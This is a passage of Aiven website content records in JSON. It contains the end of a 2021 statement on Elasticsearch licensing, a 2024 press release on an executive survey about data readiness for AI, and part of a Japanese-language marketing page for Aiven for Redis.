innovation."}],"markDefs":[],"style":"normal"},{"_key":"6xIGA8Bu","_type":"block","children":[{"_key":"VdYfUQZh","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"wPEa8cOS","_type":"block","children":[{"_key":"H9G8z3wu","_type":"span","marks":[],"text":"Headquartered in Helsinki and with offices in Berlin, Toronto, Sydney, and Boston, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"t5m5WCCN","_type":"block","children":[{"_key":"ZRI2Stwo","_type":"span","marks":[],"text":"You can visit "},{"_key":"Lv9LTNpt","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io"},{"_key":"aD5xI0qh","_type":"span","marks":[],"text":"for more information or follow Aiven on Twitter: "},{"_key":"lvWNDWmF","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"AdveojtQ","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"f80a2209fd5c","_type":"block","children":[{"_key":"47c725b8a619","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"defe24fcdc79","_type":"block","children":[{"_key":"601fda930035","_type":"span","marks":[],"text":"Further reading"}],"markDefs":[],"style":"h2"},{"_key":"af162a3a525b","_type":"block","children":[{"_key":"84acca7ee75d","_type":"span","marks":[],"text":" "},{"_key":"e1e2329fbb10","_type":"span","marks":["35f2ff8a684a"],"text":"Aiven statement on license changes for the Confluent Platform"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"35f2ff8a684a","_type":"internalLink","internalLink":{"_ref":"5v0sd850SX3yeH6O8wX9HD","_type":"reference"}}],"style":"normal"}],"publishedAt":"2021-01-19T00:00:00.000Z","seo":{"metaDescription":"We believe in open source. Aiven is committed to open source innovation and providing a path forward for Elasticsearch users.","metaTitle":"Aiven statement on license changes for Elasticsearch"},"slug":{"_type":"slug","current":"/press/aiven-statement-on-license-changes-for-elasticsearch"},"subtitle":"We believe in open source. Aiven is committed to open source innovation and providing a path forward for Elasticsearch users.","title":"Aiven statement on license changes for Elasticsearch"} {"__i18n_lang":"en","_createdAt":"2024-11-20T20:59:34Z","_id":"ba9a23ce-a215-4c0a-9c8b-e35ee5649b4f","_rev":"Ud5WTDnszW9rcVYh0sJxWt","_type":"pressRelease","_updatedAt":"2024-11-21T08:22:28Z","content":[{"_key":"14b5eea36cb6","_type":"block","children":[{"_key":"a6044cbb0c80","_type":"span","marks":["em"],"text":"HELSINKI, Finland, 21 November 2024. "},{"_key":"ddcc0aca216d0","_type":"span","marks":[],"text":"‍While data remains fundamental to Artificial Intelligence (AI) strategies, more than half of C-Suite executives cite data-related challenges as the main barrier to success, findings reveal from Aiven, the trusted data and AI platform company. The majority (80%) of executives also emphasize that data sovereignty and control are equally critical to AI-driven strategic success. And many fear data security and privacy mishaps in their AI strategies could lead to negative customer sentiment."}],"markDefs":[],"style":"normal"},{"_key":"7c61a97f38b8","_type":"block","children":[{"_key":"95bfa113c2770","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a21ae01eb9c6","_type":"block","children":[{"_key":"82787f764a200","_type":"span","marks":[],"text":"In a survey of 100 C-Suite executives conducted for Aiven, only 17% of organizations have successfully moved AI projects into full production, despite widespread experimentation. Data security and privacy top the list of obstacles, with 58% of executives acknowledging these as primary risks, followed closely by issues of data availability and quality (53%). Talent shortages compound the problem, affecting 50% of respondents. These are key findings from the "},{"_key":"82787f764a201","_type":"span","marks":["597e4fe4c3a0"],"text":"Predictions in the Data \u0026 AI Revolution"},{"_key":"82787f764a202","_type":"span","marks":[],"text":" whitepaper from Aiven."}],"markDefs":[{"_key":"597e4fe4c3a0","_type":"link","href":"https://aiven.io/report/predicting-the-data-and-ai-revolution"}],"style":"normal"},{"_key":"6721166d6332","_type":"block","children":[{"_key":"34b048712ffc0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"151bcd021ba2","_type":"block","children":[{"_key":"2a77ca4baff10","_type":"span","marks":["strong"],"text":"Proprietary Data: A Critical Asset, Yet Not Fully Prioritized"}],"markDefs":[],"style":"normal"},{"_key":"f1f846e4559f","_type":"block","children":[{"_key":"2f707c0440b10","_type":"span","marks":[],"text":"Three-quarters (75%) of executives view private and proprietary data as critical for AI success. Alarmingly, 26% consider it only moderately important or irrelevant, hinting at a potential underestimation of AI's complexities and the risks involved in exposing sensitive information. While generating simple content like blogs may not seem risky, robust use cases — such as product development — demand proprietary data for differentiation and added value."}],"markDefs":[],"style":"normal"},{"_key":"bb181ef79ee7","_type":"block","children":[{"_key":"9cd691989f0e0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7f9bcf1947c0","_type":"block","children":[{"_key":"9ab4dfec5fd30","_type":"span","marks":[],"text":"As AI is projected to contribute USD 15.7 trillion to the global economy by 2030, data security, quality, compliance and sovereignty remain essential to unlocking this potential."}],"markDefs":[],"style":"normal"},{"_key":"9d213888b1ab","_type":"block","children":[{"_key":"3350540bd4930","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"4a48cbf47a2f","_type":"block","children":[{"_key":"24f8113a99a20","_type":"span","marks":["strong"],"text":"Customer Perception and the Risk of Falling Behind"}],"markDefs":[],"style":"normal"},{"_key":"3a96a846e873","_type":"block","children":[{"_key":"3401d78d25730","_type":"span","marks":[],"text":"While most executives believe customers are positive (47%) or neutral (42%) or even extremely positive (8%) about GenAI, concerns about data security and privacy could easily shift perceptions. A single data breach or compliance misstep could severely damage trust and cause reputational damage. Executives must proactively manage data to avoid being left in the “laggard” category."}],"markDefs":[],"style":"normal"},{"_key":"2c49f063693a","_type":"block","children":[{"_key":"5eb97b215f830","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"29c5936a3b97","_type":"block","children":[{"_key":"58648afa3ea40","_type":"span","marks":["strong"],"text":"Revenue Generation Tops AI Priorities"}],"markDefs":[],"style":"normal"},{"_key":"1af0a056abab","_type":"block","children":[{"_key":"aa4e97af8c810","_type":"span","marks":[],"text":"When asked to identify their top AI outcome, 26% of executives prioritized revenue generation, surpassing goals like cost reduction (16%), competitiveness (15%) and customer experience improvements (15%). Yet this ambition is hindered by inadequate data readiness, signaling that significant gaps remain between AI aspirations and data capabilities."}],"markDefs":[],"style":"normal"},{"_key":"ea0367960fdb","_type":"block","children":[{"_key":"cb6217e647950","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"bea028ac26b5","_type":"block","children":[{"_key":"b8fb685a69f70","_type":"span","marks":[],"text":"“Organizations need to be data-ready to truly be AI-ready,” said Francesco Tisiot, Field CTO \u0026 Head of Developer Experience at Aiven. “The accessibility of GenAI has created a false sense of ease around AI. However, unlocking the full value of proprietary data is complex and has revealed stress fractures within organizations. Businesses are eager to differentiate through AI-powered innovations but require efficient ways to manage and leverage their data.”"}],"markDefs":[],"style":"normal"},{"_key":"8a4b046e7561","_type":"block","children":[{"_key":"5a945c7193a40","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c479c4e2c690","_type":"block","children":[{"_key":"927a4cf9dd8b0","_type":"span","marks":[],"text":"Aiven’s platform addresses this by enabling seamless data mobility, ensuring robust security and compliance, and optimizing access to AI and ML services."}],"markDefs":[],"style":"normal"},{"_key":"22cec8426559","_type":"block","children":[{"_key":"d64fce3fc50f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ab10e6abe3c2","_type":"block","children":[{"_key":"0e6e0b4a582a0","_type":"span","marks":[],"text":"“We want to simplify the path to AI-readiness,” Tisiot added.“By unlocking data, making it available, securable and manageable, we empower companies to drive revenue and achieve better business outcomes.”"}],"markDefs":[],"style":"normal"},{"_key":"d4f36721bd6a","_type":"block","children":[{"_key":"76f5462b63e50","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0a223b0c2286","_type":"block","children":[{"_key":"ef3ce2bb8e0c0","_type":"span","marks":["strong"],"text":"Bridging the Gap: Data-Driven Success and AI’s Future Impact"}],"markDefs":[],"style":"normal"},{"_key":"abb5a1691c42","_type":"block","children":[{"_key":"de7762179ad40","_type":"span","marks":[],"text":"McKinsey research highlights that data-driven companies outperform their peers by up to 20%. Yet, many organizations struggle to realize data's full potential, especially under pressure from skills shortages, cloud complexities and legacy systems that stifle innovation."}],"markDefs":[],"style":"normal"},{"_key":"1a73bf44c8e3","_type":"block","children":[{"_key":"928a31e1f43b0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"98b116177fbf","_type":"block","children":[{"_key":"9c27431738670","_type":"span","marks":[],"text":"“Implementing strong data control and sovereignty frameworks reduces exposure risks and can positively influence customer perceptions,” Tisiot concluded. “Managing these challenges effectively is crucial to transforming AI investments into tangible business value.”"}],"markDefs":[],"style":"normal"},{"_key":"05e6842bfc82","_type":"block","children":[{"_key":"bc47c05891ee0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a731e383c8c4","_type":"block","children":[{"_key":"fa2fcdd886e00","_type":"span","marks":[],"text":"Nilesh Bansal, Co-Founder, "},{"_key":"fa2fcdd886e01","_type":"span","marks":["b25a0df33b73"],"text":"WorkOrb"},{"_key":"fa2fcdd886e02","_type":"span","marks":[],"text":", said: “Companies and teams pursuing AI must not skip that important step of building a solid data foundation layer first. So, my advice would be to start with the foundation. Start with the data, and then start building on top of it.”"}],"markDefs":[{"_key":"b25a0df33b73","_type":"link","href":"https://www.linkedin.com/posts/workorb_introducing-workorb-ai-a-toronto-based-startup-activity-7151220554501394433-SXLm/"}],"style":"normal"},{"_key":"703869d2bf8b","_type":"block","children":[{"_key":"8a68d44681d40","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"03e54b6ea2cb","_type":"block","children":[{"_key":"4ccd8dd166640","_type":"span","marks":[],"text":"Ends"}],"markDefs":[],"style":"normal"},{"_key":"6283ba524f2e","_type":"block","children":[{"_key":"f7b6fd0becde0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"80617ae281be","_type":"block","children":[{"_key":"c04fc3c167140","_type":"span","marks":["strong"],"text":"Survey Methodology"}],"markDefs":[],"style":"normal"},{"_key":"ded0bfd3a202","_type":"block","children":[{"_key":"69deeab2ccaf0","_type":"span","marks":[],"text":"Between July and August 2024, Gatepoint Research invited selected executives to participate in a survey themed "},{"_key":"69deeab2ccaf1","_type":"span","marks":["em"],"text":"Predicting the Data and AI Revolution"},{"_key":"69deeab2ccaf2","_type":"span","marks":[],"text":". Candidates from several industries were invited via email and 100 executives have participated to date. Management levels represented are all executive decision makers in technical and security positions, and all hold chief executive titles. 100% of responders participated voluntarily."}],"markDefs":[],"style":"normal"},{"_key":"6b23375a3aab","_type":"block","children":[{"_key":"38fa88ed51dd0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"22f2156b8597","_type":"block","children":[{"_key":"a8f6eb9ddc5a0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"6eb28fba681d","_type":"block","children":[{"_key":"0e4487dc29f5","_type":"span","marks":[],"text":"Aiven is a global open source data platform company, helping organizations drive more value from their data. As a trusted foundation to power innovation, Aiven’s comprehensive data platform combines every tool necessary to stream, manage and analyze data simply, securely and rapidly, on any cloud. The expertise built into Aiven’s AI-powered platform is trusted by hundreds of thousands of start-up and enterprise customers globally to create next-gen applications with confidence. Aiven is fully committed to helping organizations drive innovation that delivers real business value while contributing to the global success of the open source community. Headquartered in Helsinki and with offices globally, Aiven is backed by private and institutional investors."}],"markDefs":[],"style":"normal"},{"_key":"40c604ffffc2","_type":"block","children":[{"_key":"efe1d9c9e35a0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"3b2f7170a72f","_type":"block","children":[{"_key":"6e19070f7e280","_type":"span","marks":[],"text":"You can visit us at "},{"_key":"e332d7fce739","_type":"span","marks":["74b5f0663e35"],"text":"aiven.io"},{"_key":"645edf918005","_type":"span","marks":[],"text":" and follow us on "},{"_key":"6e19070f7e283","_type":"span","marks":["79e92e4bf714"],"text":"LinkedIn"},{"_key":"6e19070f7e284","_type":"span","marks":[],"text":" and X at @aiven_io"}],"markDefs":[{"_key":"79e92e4bf714","_type":"link","href":"https://www.linkedin.com/company/aiven/"},{"_key":"74b5f0663e35","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"7658cd22b99d","_type":"block","children":[{"_key":"efa5b3d47f1a0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c6505cdaf448","_type":"block","children":[{"_key":"bea48315def30","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"8283a2a63262","_type":"block","children":[{"_key":"b4dd517e07740","_type":"span","marks":["strong"],"text":"Media Enquiries"}],"markDefs":[],"style":"normal"},{"_key":"de74c6693db9","_type":"block","children":[{"_key":"67d55451fb430","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"25ce8fc2c5d6","_type":"block","children":[{"_key":"c0df0fd528e00","_type":"span","marks":[],"text":"Jeff Meisel"}],"markDefs":[],"style":"normal"},{"_key":"bcdeabf6167a","_type":"block","children":[{"_key":"7a1416d17c5c0","_type":"span","marks":["c14327546961"],"text":"jeff.meisel@aiven.io"}],"markDefs":[{"_key":"c14327546961","_type":"link","href":"mailto:jeff.meisel@aiven.io"}],"style":"normal"}],"publishedAt":"2024-11-21T07:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Announcing our Predictions in the Data \u0026 AI Revolution whitepaper, bringing insight gathered from 100 C-Suite executives.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ba0570f449f2d15866a0ef0b53afe87dc73748f6-1200x630-png","_type":"reference"}},"metaTitle":"If You’re Not Data-Ready You’re Not AI-Ready"},"slug":{"_type":"slug","current":"/press/youre-not-data-ready-youre-not-ai-ready"},"subtitle":"- Generating revenue is driving AI investment above cost-cutting\n- Data sovereignty seen as critical as AI\n- Concerns about data privacy negatively impacting customer sentiment","title":"C-Suite Executives Reveal That If You’re Not Data-Ready You’re Not AI-Ready, According to Aiven Report"} {"__i18n_base":{"_ref":"13512903-e091-4cd8-9625-d942418d75d2","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-30T20:12:04Z","_id":"13512903-e091-4cd8-9625-d942418d75d2__i18n_ja","_rev":"HcXHPgYq0r9EWbp2BQS76C","_type":"product","_updatedAt":"2024-03-20T07:12:51Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Redis®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"}},"description":[{"_key":"924798a34888","_type":"block","children":[{"_key":"13a280a55eab0","_type":"span","marks":[],"text":"Aiven for Redis® は、小さなフットプリントで大きなパフォーマンスを発揮するマネージドインメモリNoSQLデータベースです。"}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"10e4ca9488e7","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"a18ec3c2e5f8","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"73742df4ef01","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-7b913b1f595d804998d62f49ba7db992112c58b3-1600x1137-png","_type":"reference"}},"isImageLarge":false,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。\\nすべての機能が含まれています。","externalUrl":"https://console.aiven.io/signup","title":"無料トライアルを開始する"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/redis","title":"ドキュメントを見る"},"tagline":"マネージド&ホスティング","title":"Aiven for Redis®*","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"},{"_key":"00a694ce4c21","_type":"scrollSpyNavItem","sectionId":"resources","title":"リソース"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"よくある質問"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-c49aa024b64012920f36be76dce8581e6a340388-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c__i18n_ja","_type":"reference"},"title":"Aiven for Redis®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料トライアルを開始する"},"title":"Aiven for Redis"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","resources":{"_type":"textItem","content":[{"_key":"7a96d10ef83f","_type":"block","children":[{"_key":"dfba7ce02202","_type":"span","marks":["strong"],"text":"リソース"}],"markDefs":[],"style":"normal"},{"_key":"66a74d5ed880","_type":"block","children":[{"_key":"16047090f776","_type":"span","marks":["3bc9440a7d6a"],"text":"Redisとは(ブログ)"}],"markDefs":[{"_key":"3bc9440a7d6a","_type":"internalLink","internalLink":{"_ref":"5n7mhiPowEK6X49UpoZSU4","_type":"reference"}}],"style":"normal"},{"_key":"bfe958403829","_type":"block","children":[{"_key":"ebe437864dcc","_type":"span","marks":["a29742c95edc"],"text":"Aiven for Redis® (ドキュメント)"}],"markDefs":[{"_key":"a29742c95edc","_type":"link","href":"https://aiven.io/docs/products/redis"}],"style":"normal"}]},"rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"10fcada6cca5","_type":"block","children":[{"_key":"a68205bcde2e","_type":"span","marks":[],"text":"Aiven for Redis®でフルマネージドインメモリNoSQLデータベースを導入"}],"markDefs":[],"style":"h3"},{"_key":"24dd56a12274","_type":"block","children":[{"_key":"34657e076f780","_type":"span","marks":[],"text":"RedisはインメモリでオープンソースのNoSQLデータストアです。Redisは、高速なデータストア、キャッシュ、または軽量なメッセージブローカーとして最適です。データを保存し、その場で呼び出すことができる柔軟なデータ構造サーバとして、データアーキテクチャを補完するツールになります。"}],"markDefs":[],"style":"normal"},{"_key":"9b012babbdc3","_type":"block","children":[{"_key":"6df926cf39670","_type":"span","marks":[],"text":"Aivenを使用すると、高性能なデータキャッシュを取得したり、ロギングや監視などのオブザーバビリティ(可観測性)を実現する目的でRedisを簡単に統合することができます。"}],"markDefs":[],"style":"normal"},{"_key":"9e733fcf32cf","_type":"block","children":[{"_key":"bb0d2e0fae110","_type":"span","marks":[],"text":"Redisは、文字列、ハッシュ、リスト、セット、範囲クエリを含むソート済みセット型、ビットマップ、HyperLogLog、地理空間インデックス、ストリームなどのデータ構造を提供します。"}],"markDefs":[],"style":"normal"}]}],"subtitle":[{"_key":"bc26e1659961","_type":"block","children":[{"_key":"41d87ac53bfb","_type":"span","marks":[],"text":"Webコンソールから直接、またはAPI、CLI、Terraformプロバイダーを介してプログラムコードによって、10分以内にフルマネージドRedisをセットアップすることができます。既存の技術スタックに簡単に接続し、高性能なインメモリNoSQLデータストアを利用できるようになります。"}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"Aiven for Redis®でできること","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"fb1f618c029c","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"必要なツールで管理する","variant":"redis"},{"_key":"o1wpnzmrpposimw5t55xo43yyi3826k6","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"gxnagfklyxb6i3j9augl2aioiu8aqmq9","_type":"block","children":[{"_key":"ead1e6b8bc29","_type":"span","marks":["strong"],"text":"Aiven for Redis"},{"_key":"41086c88be2b","_type":"span","marks":[],"text":"と"},{"_key":"ef9fe645d68e","_type":"span","marks":["strong","2c176e14cbfa"],"text":"Aiven for Dragonfly"},{"_key":"z5mm88ci93hp6nkxpc8bsqbgs0qftcwc","_type":"span","marks":[],"text":"は、どちらもRedisアプリケーションの要求に応えるように設計された強力なソリューションです。最高のパフォーマンスとスケーラビリティが必要な場合は、Aiven for Dragonflyが最適な選択です。コスト効率とシンプルさを重視する軽負荷のワークロードに対しては、オープンソースRedisをベースにした堅牢で手頃なAiven for Redisが最適です。"}],"markDefs":[{"_key":"2c176e14cbfa","_type":"internalLink","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"vki7mni9u8a2z2hrjgikduff3wiac6vb","_type":"table","rows":[{"_key":"ip9fh1hrxkwuifepq3gnaazy9aaydha8","_type":"tableRow","cells":["","Aiven for Redis","Aiven for Dragonfly"]},{"_key":"d1ok228pjl6b6ifage4ad52mri76c29i","_type":"tableRow","cells":["メモリ容量 (ストレージ)","必要なパフォーマンスに応じて100GB以上にスケーリング","1インスタンスあたり最大1TB以上のデータをサポート"]},{"_key":"2cjob99fhsiu4dgcke5ok9p92h51w3yu","_type":"tableRow","cells":["スループット","70,000QPS以下のワークロードに適切","70,000QPSを超えるワークロード向けに構築"]},{"_key":"yadzgvkuaidympb96wgj9yv7uigaljou","_type":"tableRow","cells":["機能","完全なオープンソースRedis体験を提供","オープンソースのRedisの全機能に加え、JSONのサポートとベクトル検索も提供"]},{"_key":"9cgty2978yxotoamzatkkiuiigas2ozi","_type":"tableRow","cells":["その他","","Memcached互換性"]}]}],"tagline":"ニーズに最適なソリューションを選択","title":"Aiven for RedisとAiven for Dragonflyの比較","variant":"centerColumn"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"04321132533e","_type":"block","children":[{"_key":"d33d8216baf40","_type":"span","marks":[],"text":"重要なアプリケーションにとってダウンタイムは災害です。その災害を防ぐため、Aivenは99.99%のアップタイムを実現しました。さらに、必要な際には、サポート要員に問い合わせをすることができます。"}],"markDefs":[],"style":"normal"}],"title":"99.99%のアップタイム - 100%サポート要員によるサポート"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5b154edc449d","_type":"block","children":[{"_key":"4a8a1a6e59d10","_type":"span","marks":[],"text":"クラスタのメモリを増やす、新しいクラスタを作成する、クラウドプロバイダーを切り替える、新しいリージョンを拡張する等、Aiven for Redisではかつてないほど簡単に実現できます。"}],"markDefs":[],"style":"normal"}],"title":"必要に応じて簡単にスケールアップ、スケールダウンが可能"},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"0b8b6f4752ba","_type":"block","children":[{"_key":"0db4351e98ce0","_type":"span","marks":[],"text":"クラスタへのメンテナンスアップデートやバージョンアップの適用に時間を取られていませんか。お客様がデータを実用的なインサイトに変えることに集中できるために、このような作業は私たちにおまかせください。"}],"markDefs":[],"style":"normal"}],"title":"自動アップデート、自動アップグレードによりストレスゼロ"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for Redisの価格は、一括払いで、ネットワークからデータストレージなどにかかるコストがすべて含まれています。追加の請求や手数料などは一切ありません。"}],"markDefs":[],"style":"normal"}],"title":"透明性が高い価格設定 - ネットワークコストは不要"}],"id":"benefits","rounded":false,"subtitle":[{"_key":"85c928a4cf70","_type":"block","children":[{"_key":"7de894f1d0240","_type":"span","marks":[],"text":"Aivenのフルマネージドサービスでは、インフラ関連のストレスなくRedisの全機能を利用することができます。"}],"markDefs":[],"style":"normal"},{"_key":"c18381fc81ce","_type":"block","children":[{"_key":"da5ff4bcebf90","_type":"span","marks":[],"text":"Aivenはサービスのセットアップを容易にするため、Redisをデータパイプラインに数分で組み込むことができ、開発に戻ることができます。インストール、管理、アップデートはすべてAivenが行い、豊富なツールと統合機能をすぐに利用できます。"}],"markDefs":[],"style":"normal"},{"_key":"a3b98bb0cd2d","_type":"block","children":[{"_key":"af04cf58728d0","_type":"span","marks":[],"text":"簡単に言うと、Aivenを使えばRedisをすぐに使えるようになります。"}],"markDefs":[],"style":"normal"}],"tagline":"メリット","title":"Aiven for Redis®サービスのメリット","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"755e8ab6c723","_type":"block","children":[{"_key":"f7861d8ded0f0","_type":"span","marks":[],"text":"Redisを使ったキャッシュは、データベースへのアクセス処理が少ないので、必要なトラフィックとインスタンスの量を減らすのに役立ちます。Redisはミリ秒未満の読み取りレイテンシーでデータを処理できるため、キャッシュの用途に理想的です。"}],"markDefs":[],"style":"normal"}],"title":"データベースキャッシュ","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"b9b6fc258e56","_type":"block","children":[{"_key":"515627ddb4f30","_type":"span","marks":[],"text":"Redisはパターンマッチング付き Pub/Sub をサポートし、リスト、ソートされたセット、ハッシュなど多種多様なデータ構造を扱えます。これにより、ハイパフォーマンスなチャットルーム、リアルタイムコメントストリーム、ソーシャルメディアフィード、サーバー間通信のサポートを実現します。"}],"markDefs":[],"style":"normal"}],"title":"チャットやメッセージングアプリケーション","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"53c7ebdf2b7c","_type":"block","children":[{"_key":"0518d09b0cd80","_type":"span","marks":[],"text":"Redisは、リアルタイムのリーダーボードやスコアボードの構築を検討しているゲーム開発者の間で人気のある選択肢です。Redisの「ソート済みセット型」は、リーダーボードの作成と管理を簡単にする組み込みのデータ構造です。"}],"markDefs":[],"style":"normal"}],"title":"ゲームリーダーボードアプリケーション","variant":"icon-card"}],"rounded":false,"tagline":"お客様の活用事例","title":"Aivenのお客様によるRedis®の活用方法"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=redis","title":"プランを見る"},"subtitle":[{"_key":"5df1fa90c014","_type":"block","children":[{"_key":"3bcb156a2d750","_type":"span","marks":[],"text":"月額0ドルからスタートし、価格は、ノード数とストレージ要件に応じて変わります。時間単位の課金により、コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"}],"title":"プランの比較","variant":"default"},{"_key":"b40f949a8554","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Redisの無料プランを開始する"},"subtitle":[{"_key":"6760cf8bab9e","_type":"block","children":[{"_key":"62cd31a2e42c","_type":"span","marks":[],"text":"Redisの無料プランには、仮想マシン1台、バックアップ、ネットワークが含まれています。コミュニティによるサポートを受けることができます。"}],"markDefs":[],"style":"normal"}],"title":"無料プランを開始する","variant":"default"}],"rounded":false,"subtitle":[{"_key":"2ad7b2f2da82","_type":"block","children":[{"_key":"18695b36a4920","_type":"span","marks":[],"text":"月額